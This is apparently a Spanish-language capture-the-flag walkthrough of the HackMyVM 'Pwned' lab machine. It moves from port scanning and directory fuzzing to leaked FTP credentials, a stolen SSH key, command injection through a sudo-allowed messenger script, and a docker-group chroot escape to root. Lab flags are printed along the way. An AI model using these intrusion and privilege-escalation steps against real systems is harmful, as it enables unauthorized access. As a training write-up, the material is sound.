Pwned HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 03:21 EDT
Nmap scan report for 192.168.5.38
Host is up (0.00037s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fe💿90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
| 256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_ 256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
MAC Address: 08:00:27:51:18:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds
Veremos que encontramos un puerto 80
y un FTP
, en el 80
veremos que aloja una pagina wbe, en la que si entramos no veremos nada interesante, por lo que vamos a probar a conectarnos de forma anonima al FTP
a ver si nos deja.
ftp anonymous@<IP>
Pero veremos que no nos deja, por lo que vamos a realizar un poco de fuzzing
a ver que nos encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.38/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 3065]
/robots.txt (Status: 200) [Size: 41]
/nothing (Status: 200) [Size: 945]
/.html (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
/hidden_text (Status: 301) [Size: 318]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
Veremos que hay un directorio bastante interesante llamado /hidden_text
por lo que vamos a investigarlo, si entramos dentro de el veremos un archivo llamado secret.dic
.
URL = http://<IP>/hidden_text
Por lo que podemos deducir que puede ser para utilizarlo con gobuster
de nuevo, pero con ese diccionario de palabras.
gobuster dir -u http://<IP>/ -w secret.dic -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.38/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: secret.dic
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pwned.vuln (Status: 301) [Size: 317]
Progress: 348 / 348 (100.00%)
===============================================================
Finished
===============================================================
Veremos que nos descubre un sitio web llamado pwned.vuln
vamos a ver que contiene, entrando dentro veremos como una especie de login
, si probamos credenciales por defecto no nos dejara, pero si inspeccionamos el codigo veremos lo siguiente:
<?php
// if (isset($_POST['submit'])) {
// $un=$_POST['username'];
// $pw=$_POST['password'];
//
// if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
// echo "welcome"
// exit();
// }
// else
// echo "Invalid creds"
// }
?>
Vemos unas credenciales las cuales parecen ser que son para el FTP
vamos a probarlas de la siguiente forma.
Escalate user ariana
FTP
ftp ftpuser@<IP>
Metemos como contraseña B0ss_B!TcH
y veremos que estamos dentro, si listamos veremos un directorio llamado share
si entramos dentro veremos lo siguiente:
229 Entering Extended Passive Mode (|||23156|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 10 2020 .
drwxrwxrwx 3 0 0 4096 Jul 09 2020 ..
-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa
-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt
226 Directory send OK.
Veremos una clave PEM
y una nota, vamos a descargarnos las dos cosas con get
.
get id_rsa
get note.txt
Ahora si nos salimos y leemos la nota veremos lo siguiente:
Wow you are here
ariana won't happy about this note
sorry ariana :(
Vemos un posible usuario para la id_rsa
llamado ariana
por lo que vamos a probar con dicho usuario.
SSH
chmod 600 id_rsa
ssh -i id_rsa ariana@<IP>
Info:
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$ whoami
ariana
Con esto veremos que estaremos dentro, por lo que leeremos la primera flag
de este usuario.
user1.txt
congratulations you Pwned ariana
Here is your user flag ↓↓↓↓↓↓↓
fb8d98be1265dd88bac522e1b2182140
Try harder.need become root
Escalate user selena
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
Vemos que podemos ejecutar el script como el usuario selena
, vamos a ver que realizar dicho script.
Si leemos el script, veremos lo siguiente:
#!/bin/bash
clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "
$msg 2> /dev/null
echo ""
echo "Message sent to $name :) "
echo ""
Vemos que esta utilizando echo
para simular una especie de chat, vamos a ejecutarlo a ver que pasa.
sudo -u selena /home/messenger.sh
Info:
Welcome to linux.messenger
ariana:
selena:
ftpuser:
Enter username to send message : selena
Enter message for selena :id
Sending message to selena
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
Message sent to selena :)
Vemos que se esta ejecutando los comandos que meto, en este caso id
que por cierto estamos viendo que pertenece al grupo docker
, vamos a poner directamente bash
para obtener una shell como dicho usuario.
sudo -u selena /home/messenger.sh
Info:
Welcome to linux.messenger
ariana:
selena:
ftpuser:
Enter username to send message : selena
Enter message for selena :bash
Sending message to selena
whoami
selena
Ahora vamos a sanitizarlo un poco.
script /dev/null -c bash
Ahora leeremos la segunda flag
del usuario.
user2.txt
711fdfc6caad532815a440f7f295c176
You are near to me. you found selena too.
Try harder to catch me
Escalate Privileges
Si hacemos id
veremos lo siguiente bastante interesante:
id
Info:
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
Vemos que pertenece al grupo docker
por lo que podremos realizar lo siguiente para ser root
.
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
Info:
root@b5197dec18e9:/# whoami
root
Con esto veremos que ya seremos root
, por lo que leeremos la flag
de root
.
root.txt
4d4098d64e163d2726959455d046fd7c
You found me. i dont't expect this (◎ . ◎)
I am Ajay (Annlynn) i hacked your server left and this for you.
I trapped Ariana and Selena to takeover your server :)
You Pwned the Pwned congratulations :)
share the screen shot or flags to given contact details for confirmation
Telegram https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g
Instgarm ajs_walker
Twitter Ajs_walker
Last updated